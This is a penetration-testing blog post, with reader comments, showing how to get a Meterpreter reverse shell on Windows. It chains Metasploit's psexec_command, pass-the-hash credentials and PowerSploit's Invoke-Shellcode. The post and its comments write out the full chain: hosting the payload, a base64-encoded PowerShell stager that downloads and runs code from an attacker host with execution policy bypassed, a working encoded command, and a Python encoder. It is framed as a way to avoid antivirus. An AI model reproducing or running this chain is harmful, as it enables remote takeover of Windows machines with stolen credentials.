Thursday, March 28, 2013

PowerSploit + Metasploit = Shells

Metasploit has supported psexec-like functionality with pass-the-hash for several years. Unfortunately, its mostly useless when an AV product is there to delete the uploaded service binary. Recently, a module (/auxiliary/admin/smb/psexec_command) was created that allows you to run a single Windows command with discovered hashes or credentials. This doesn't flag AV, but isn't the full meterpreter shell that we're use to. How can we turn one command into a meterpreter shell?  With PowerSploit and Matt Graeber's Invoke-Shellcode!

The basic steps:


Kali Linux is awesome, but the version of PowerSploit is currently outdated, so lets pull down the script we will eventually run:

wget -O /var/www/payload https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1

Next we need to append the appropriate function call with LHOST and LPORT parameters and ensure that Apache is running.

echo "Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Force" >> /var/www/payload

strings -es /var/www/payload


Call to Function Added
Now that we have the script hosted, we need to build the command we want to execute. Although we could encode the entire command, I have found that building a small staging script is far more reliable. We can use the same method as described in a previous post.

Basically, we are going to Base64 encode our short script block which will pull down the rest of our script: 

scriptblock="iex (New-Object Net.WebClient).DownloadString("http://$lhost/payload")"
encode="`echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0`"
command="cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode"
echo $command


Now we fill in the rest of the settings of the module (either a password or hash) and use the COMMAND parameter to the encoded command:

Add Command to psexec_command
Next, we start the multi/handler with reverse_https:

Set Up Handler
Finally, we run the module. This uploads a service binary to run our single command. The single command is an encoded PowerShell script which is pulling down the larger Invoke-Shellcode script. Invoke-Shellcode is determining whether the system is x86 or x64, and injecting meterpreter shellcode into an appropriate process:

Get Your Shell
The end result is a meterpreter shell without writing anything more to disk than the psexec_command module does (notice the less than ideal bat files in the above screenshot). This method has proven to be reliable for me over the last few months with lots of other tools as well. I hope you find it useful and maybe someone will be inspired to automate this all into a single module.

As soon as the PTH-Suite is ported to Kali, I hope to show you how to accomplish all of this without writing anything to disk!

***Updated 8/8/2013
So after a few comments and working through encoding issues with several people I finally realized that the actual posted code was incomplete. Instead of working from the post, I continued to work from my own script which was just simply not smart. So I added a screenshot for extra clarity and I apologize to anyone that this frustrated. On the positive side, now there are loads of other ways to pull this off which I wrote about here and you can read more about here and here.


-Chris

18 comments:

  1. Nice.. Any upcoming video tuts for this?

    ReplyDelete
    Replies
    1. Maybe one for the PTH-Suite script that is upcoming, but this wouldn't be hard either. I am really hoping someone writes this up as a stand alone metasploit module.

      Delete
  2. For similar PowerShell/Psexec Metasploit module look at:

    https://github.com/rapid7/metasploit-framework/pull/1343

    If you test it and it works reply to the pull request and it might get included quicker!

    ReplyDelete
  3. Cool stuff. I will take a look at it, but does it return a meterpreter shell and is it using Matt's method of reflection to avoid writing to disk?

    ReplyDelete
  4. I gave this a shot and am getting this:

    The term '?8?????4??????????????????????????????' is not recognized as the name
    of a cmdlet, function, script file, or operable program. Check the spelling of
    the name, or if a path was included, verify that the path is correct and try a
    gain.
    At line:1 char:39
    + ?8?????4?????????????????????????????? <<<<
    + CategoryInfo : ObjectNotFound: (?8?????4???????????????????????
    ???????:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException

    I am attempting this from a WIN7 box. If I grab the script on the box and paste it in PS, it works fine.

    ReplyDelete
    Replies
    1. That certainly looks like an encoding issue. Can you pull down the script you have hosted and look at it:

      $test = iex (New-Object Net.WebClient).DownloadString("http://192.168.1.2/payload")
      $test

      Delete
  5. And that it is indeed. That worked so I will back on the encoding.

    ReplyDelete
  6. My encoding fu is failing me..what might I be missing? Everything runs fine without the encoding being applied. So maybe I am misunderstanding a step.

    ReplyDelete
  7. Next, I would test your base64 encoded string. Drop it into PowerShell and ensure that it is decoding to the correct string. You got that error message above with the metasploit module?

    ReplyDelete
  8. So I got that from both msf as well as from the command line on the WIN7 box itself. Playing around with PS. Not really a PS ninja tho :)

    ReplyDelete
    Replies
    1. Ok. Do you mind posting your actual command (the one with the encoded to command), or you could email it to my handle at gmail. I am trying to figure out which part is introducing the strange encoding. Also, did you copy and paste the commands from the blog?

      Delete
  9. Here yah go Sir:

    Output From Script
    cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc aWV4IChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKGh0dHA6Ly8xOTIuMTY4LjEuMTQ4L3BheWxvYWQpCg==

    Decoded:

    root@kali:~# echo aWV4IChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKGh0dHA6Ly8xOTIuMTY4LjEuMTQ4L3BheWxvYWQpCg== | base64 -d
    iex (New-Object Net.WebClient).DownloadString(http://192.168.1.148/payload)

    ReplyDelete
  10. After talking with obscuresec, he recommended using 'strings -es' on the /var/www/payload file. That worked for me to fix my encoding issue, just thought I would share.

    ReplyDelete
  11. I use this code:

    #!/usr/bin/env python

    import base64

    command = "cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc "
    powershell_command = 'iex (New-Object Net.WebClient).DownloadString("http://192.168.1.1/payload")'
    blank_command = ""
    for char in powershell_command:
    blank_command += char + "\x00"

    powershell_command = blank_command
    powershell_command = base64.b64encode(powershell_command)
    command += powershell_command
    print command

    ReplyDelete
  12. I'm having exactly the same problem as Anonymous, and it is from a Win7 Box

    ReplyDelete
  13. Chris, thanks for this post so useful.

    I've been trying to reproduce here but facing issues similar to Anonymous above regarding base64 encoding on Linux and the decode performed by powershell. It would be great if you can give a look.

    Using the standard base64 tool on Linux to encode "calc.exe" I got:

    $ echo calc.exe|base64
    Y2FsYy5leGUK

    Using the string "Y2FsYy5leGUK" on powersheel it gives me a decoding error:

    >powershell -Enc Y2FsYy5leGUK
    The term '?????' is not recognized as the name of a cmdlet...

    But using a modified version of the python script by Anonymous to encode the string the result is different and works properly on powershell.

    $ ./a.py
    YwBhAGwAYwAuAGUAeABlAA==

    What am I missing here? Do you have any idea why the base64 encoded string generated on Linux terminal does not work on powershell? Is this somehow related to terminal character encoding?

    In the python script, why is the "\x00" null character added to each char in the string?

    Congratulations for the amazing blog.

    ReplyDelete
    Replies
    1. Thank you for your detailed comment. It helped me finally get to the bottom of the issue. I was focusing on the encoding of the payload script and was using a bash script to troubleshoot. The problem was that the original code snippet didn't match my script and was not handling encoding to UTF-16LE before base64 encoding. I fixed and updated the post. Thanks again!

      Delete